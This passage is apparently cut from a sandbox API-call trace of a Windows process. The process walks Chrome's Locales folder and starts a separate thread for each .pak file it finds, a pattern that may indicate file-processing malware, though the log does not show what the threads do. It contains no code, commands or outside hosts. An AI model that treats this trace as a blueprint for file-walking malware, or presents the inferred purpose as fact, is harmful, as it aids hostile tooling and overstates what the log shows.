returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.539] wcscat (in: _Dest=0x1ce127e0, _Source="kn.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak" [0158.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce127e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0158.540] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef67012, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x50b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0158.540] wcscmp (_String1="ko.pak", _String2=".") returned 1 [0158.540] wcscmp (_String1="ko.pak", _String2="..") returned 1 [0158.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10b00 [0158.541] wcscpy (in: _Dest=0x1ce10b00, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.541] wcscat (in: _Dest=0x1ce10b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.541] wcscat (in: _Dest=0x1ce10b00, _Source="ko.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak" [0158.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0158.542] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef95655, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0158.542] wcscmp (_String1="lt.pak", _String2=".") returned 1 [0158.542] wcscmp (_String1="lt.pak", _String2="..") returned 1 [0158.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11600 [0158.542] wcscpy (in: _Dest=0x1ce11600, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.542] wcscat (in: _Dest=0x1ce11600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.542] wcscat (in: _Dest=0x1ce11600, _Source="lt.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak" [0158.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c [0158.543] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfefd4e0f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0158.543] wcscmp (_String1="lv.pak", _String2=".") returned 1 [0158.543] wcscmp (_String1="lv.pak", _String2="..") returned 1 [0158.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce123c0 [0158.543] wcscpy (in: _Dest=0x1ce123c0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.544] wcscat (in: _Dest=0x1ce123c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.544] wcscat (in: _Dest=0x1ce123c0, _Source="lv.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak" [0158.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce123c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0158.544] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeffe630, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xccccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0158.544] wcscmp (_String1="ml.pak", _String2=".") returned 1 [0158.544] wcscmp (_String1="ml.pak", _String2="..") returned 1 [0158.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10bb0 [0158.545] wcscpy (in: _Dest=0x1ce10bb0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.545] wcscat (in: _Dest=0x1ce10bb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.545] wcscat (in: _Dest=0x1ce10bb0, _Source="ml.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak" [0158.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c [0158.545] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0341a6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa1beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0158.545] wcscmp (_String1="mr.pak", _String2=".") returned 1 [0158.545] wcscmp (_String1="mr.pak", _String2="..") returned 1 [0158.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce114a0 [0158.546] wcscpy (in: _Dest=0x1ce114a0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.546] wcscat (in: _Dest=0x1ce114a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.546] wcscat (in: _Dest=0x1ce114a0, _Source="mr.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak" [0158.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce114a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0158.547] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff03ddea, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3e2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0158.547] wcscmp (_String1="ms.pak", _String2=".") returned 1 [0158.547] wcscmp (_String1="ms.pak", _String2="..") returned 1 [0158.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10e70 [0158.547] wcscpy (in: _Dest=0x1ce10e70, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.547] wcscat (in: _Dest=0x1ce10e70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.547] wcscat (in: _Dest=0x1ce10e70, _Source="ms.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak" [0158.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0158.548] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff069d1c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x487e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0158.548] wcscmp (_String1="nb.pak", _String2=".") returned 1 [0158.548] wcscmp (_String1="nb.pak", _String2="..") returned 1 [0158.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce116b0 [0158.548] wcscpy (in: _Dest=0x1ce116b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.548] wcscat (in: _Dest=0x1ce116b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.548] wcscat (in: _Dest=0x1ce116b0, _Source="nb.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak" [0158.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce116b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0158.549] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff08c00a, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4d450, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0158.549] wcscmp (_String1="nl.pak", _String2=".") returned 1 [0158.549] wcscmp (_String1="nl.pak", _String2="..") returned 1 [0158.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce118c0 [0158.549] wcscpy (in: _Dest=0x1ce118c0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.549] wcscat (in: _Dest=0x1ce118c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.549] wcscat (in: _Dest=0x1ce118c0, _Source="nl.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak" [0158.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce118c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0158.550] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0b7f3c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x500e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0158.550] wcscmp (_String1="pl.pak", _String2=".") returned 1 [0158.550] wcscmp (_String1="pl.pak", _String2="..") returned 1 [0158.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11970 [0158.550] wcscpy (in: _Dest=0x1ce11970, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.550] wcscat (in: _Dest=0x1ce11970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.550] wcscat (in: _Dest=0x1ce11970, _Source="pl.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak" [0158.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0158.551] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0e3e6e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e63d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0158.551] wcscmp (_String1="pt-BR.pak", _String2=".") returned 1 [0158.551] wcscmp (_String1="pt-BR.pak", _String2="..") returned 1 [0158.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11a20 [0158.551] wcscpy (in: _Dest=0x1ce11a20, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.551] wcscat (in: _Dest=0x1ce11a20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.551] wcscat (in: _Dest=0x1ce11a20, _Source="pt-BR.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak" [0158.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c [0158.552] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff10fda0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f596, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0158.552] wcscmp (_String1="pt-PT.pak", _String2=".") returned 1 [0158.552] wcscmp (_String1="pt-PT.pak", _String2="..") returned 1 [0158.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11ad0 [0158.552] wcscpy (in: _Dest=0x1ce11ad0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.553] wcscat (in: _Dest=0x1ce11ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.553] wcscat (in: _Dest=0x1ce11ad0, _Source="pt-PT.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak" [0158.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0158.553] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff13208e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0158.553] wcscmp (_String1="ro.pak", _String2=".") returned 1 [0158.553] wcscmp (_String1="ro.pak", _String2="..") returned 1 [0158.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11b80 [0158.554] wcscpy (in: _Dest=0x1ce11b80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.554] wcscat (in: _Dest=0x1ce11b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.554] wcscat (in: _Dest=0x1ce11b80, _Source="ro.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak" [0158.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0158.555] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff162de2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0158.555] wcscmp (_String1="ru.pak", _String2=".") returned 1 [0158.555] wcscmp (_String1="ru.pak", _String2="..") returned 1 [0158.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11c30 [0158.555] wcscpy (in: _Dest=0x1ce11c30, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.555] wcscat (in: _Dest=0x1ce11c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.555] wcscat (in: _Dest=0x1ce11c30, _Source="ru.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak" [0158.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0158.556] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff18ed14, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5402d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0158.556] wcscmp (_String1="sk.pak", _String2=".") returned 1 [0158.556] wcscmp (_String1="sk.pak", _String2="..") returned 1 [0158.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11ce0 [0158.557] wcscpy (in: _Dest=0x1ce11ce0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.557] wcscat (in: _Dest=0x1ce11ce0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.557] wcscat (in: _Dest=0x1ce11ce0, _Source="sk.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak" [0158.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c [0158.558] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1b1002, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bb7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0158.558] wcscmp (_String1="sl.pak", _String2=".") returned 1 [0158.558] wcscmp (_String1="sl.pak", _String2="..") returned 